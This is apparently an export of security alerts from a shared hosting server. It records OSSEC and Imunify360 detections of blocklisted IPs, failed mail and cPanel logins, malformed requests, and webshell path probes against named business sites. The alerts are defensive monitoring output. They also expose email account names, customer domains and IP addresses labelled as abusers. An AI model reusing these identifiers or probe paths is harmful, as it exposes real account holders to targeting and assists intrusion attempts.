Jan 22 10:25:26 sv3 sshd[4062553]: Accepted publickey for root from 10.1.14.100 port 65486 ssh2: RSA SHA256:WdDh84n9i7OwfL83TC4Q9y94bNOmxYGU2yeZfrTsxL0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.46
country_id: 1269750
description:
Jan 22 10:25:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.247
country_id: 3469034
description:
Jan 22 10:26:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.247 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.255.111.72
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&page_id=2&sub=10 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-22 10:26:39 H=([127.0.0.1]) [103.197.57.71]:42530 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.125.134.100
country_id: 3469034
description:
Jan 22 10:26:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.125.134.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.93
country_id: 798544
description:
Jan 22 10:26:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.125.134.100
country_id: 3469034
description:
Jan 22 10:26:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.125.134.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.105.2.16
country_id: 719819
description:
Jan 22 10:27:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.105.2.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.103
country_id: 3469034
description:
Jan 22 10:27:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.113
country_id: 3469034
description:
Jan 22 10:28:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.113
country_id: 3469034
description:
Jan 22 10:29:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.169.22
country_id: 3469034
description:
Jan 22 10:29:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.169.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 10:30:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50684: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.202.98.4
country_id: 3865483
description:
Jan 22 10:30:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.202.98.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.231.182.25
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=739005 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.35.71
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=88281514945748 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.244
country_id: 2510769
description:
Jan 22 10:31:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.134.200
country_id: 3469034
description:
Jan 22 10:34:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.134.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.202
country_id: 3469034
description:
Jan 22 10:35:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.76.181
country_id: 3469034
description:
Jan 22 10:35:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.76.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.19
country_id: 798544
description:
Jan 22 10:36:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.41.28
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=70961516686112 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/img/photos/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.24.182.58
country_id: 1269750
description:
Jan 22 10:41:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.24.182.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.45
country_id: 690791
description:
Jan 22 10:42:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.175.185.90
country_id: 690791
description:
Jan 22 10:42:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.175.185.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.232.202.40
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=17 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 145.79.196.28
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/announcement-detail.php?id=746934 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-22 10:44:06 H=([45.144.212.50]) [45.144.212.50]:59187 F=<azlan@permalanka.lk> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from permalanka.lk


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 10:45:01 H=([45.144.212.242]) [45.144.212.242]:59337 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <asttwu@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.14.191.120
country_id: 1835841
description:
Jan 22 10:49:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.14.191.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.14.191.120
country_id: 1835841
description:
2026-01-22 10:49:22 dovecot_login authenticator failed for H=([59.14.191.120]) [59.14.191.120]:33548: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.211
country_id: 6290252
description:
Jan 22 10:50:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.219.31
country_id: 3865483
description:
Jan 22 10:51:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.219.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.141
country_id: 2300660
description:
Jan 22 10:51:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.199.195
country_id: 3469034
description:
Jan 22 10:51:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.199.195 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 10:58:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50935: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.123
country_id: 3175395
description:
Jan 22 11:00:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.197
country_id: 3469034
description:
Jan 22 11:00:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.225.119.254
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/event-dispatcher/Tests/EventTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-22 11:03:17 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.42
country_id: 3175395
description:
Jan 22 11:04:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.238
country_id: 3175395
description:
Jan 22 11:05:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.95.127
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?id=31&page_id=4&sub=86 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.42.199.153
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-06.212.42.199.153||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.166.50.15
country_id: 453733
description:
Jan 22 11:08:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.166.50.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-01-22 11:08:05 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee [83.166.50.15]:37490: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.253.142
country_id: 1814991
description:
2026-01-22 11:10:56 dovecot_login authenticator failed for H=([116.113.253.142]) [116.113.253.142]:49457: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 217.182.73.60
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/img/demos/img/photos/img/photos/about.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.131
country_id: 3865483
description:
Jan 22 11:11:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.91.153.26
country_id: 3077311
description:
2026-01-22 11:11:21 dovecot_login authenticator failed for H=u153-26.static.grape.cz [93.91.153.26]:59082: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-22 11:11:24 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET /cpsess6902704197/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1769051484496&_=1769049333125 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.91.153.26
country_id: 3077311
description:
Jan 22 11:11:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.91.153.26 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.99.83.144
country_id: 3469034
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/sofa27.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.100.202
country_id: 798544
description:
Jan 22 11:11:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.100.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.15.121
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/line/13/420/1360854 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.113.221
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-13.108.165.113.221||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.217.121.83
country_id: 1269750
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/img/photos/460524.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.125.38.184
country_id: 3895114
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/img/photos/770276.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.58.26.72
country_id: 3439705
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/img/photos/186349.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-22 11:14:57 +0800] info [cpaneld] 165.22.212.32 - manforce "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.176.185.103
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/img/photos/248188.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.189.29.178
country_id: 3469034
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/img/photos/139930.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.110.233.86
country_id: 953987
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/img/photos/158438.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/radioactive.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 22 11:16:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 22 11:16:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/iso.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.171.78.70
country_id: 3686110
description:
Jan 22 11:19:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.171.78.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.239.77.14
country_id: 3996063
description:
Jan 22 11:19:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.239.77.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.204
country_id: 3469034
description:
Jan 22 11:19:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.204
country_id: 3469034
description:
Jan 22 11:20:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.204 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/portfolio/cert.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.167.20.80
country_id: 1814991
description:
Jan 22 11:20:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.167.20.80 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.167.20.80
country_id: 1814991
description:
2026-01-22 11:20:31 dovecot_login authenticator failed for H=(80.20.167.124.adsl-pool.sx.cn) [124.167.20.80]:40467: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.223.46
country_id: 1269750
description:
2026-01-22 11:21:46 dovecot_login authenticator failed for H=([182.95.223.46]) [182.95.223.46]:58318: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.189.200
country_id: 3469034
description:
Jan 22 11:21:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.189.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.105
country_id: 3469034
description:
Jan 22 11:21:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.223.46
country_id: 1269750
description:
Jan 22 11:21:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.223.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.189.200
country_id: 3469034
description:
Jan 22 11:22:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.189.200 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 172.226.42.162
country_id: 1733045
description:
[2026-01-22 11:22:17 +0800] info [webmaild] 172.226.42.162 - ismail@ajplantations.com.my "POST /cpsess1969275505/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [172.225.181.95] != Current IP Address [172.226.42.162]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.94.203.35
country_id: 3469034
description:
Jan 22 11:23:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.94.203.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.95.200.219
country_id: 798544
description:
Jan 22 11:24:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.95.200.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.94.203.35
country_id: 3469034
description:
Jan 22 11:24:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.94.203.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 11:26:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64908: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.84.1.105
country_id: 3469034
description:
Jan 22 11:27:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.84.1.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.84.1.105
country_id: 3469034
description:
Jan 22 11:28:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.84.1.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.151
country_id: 3865483
description:
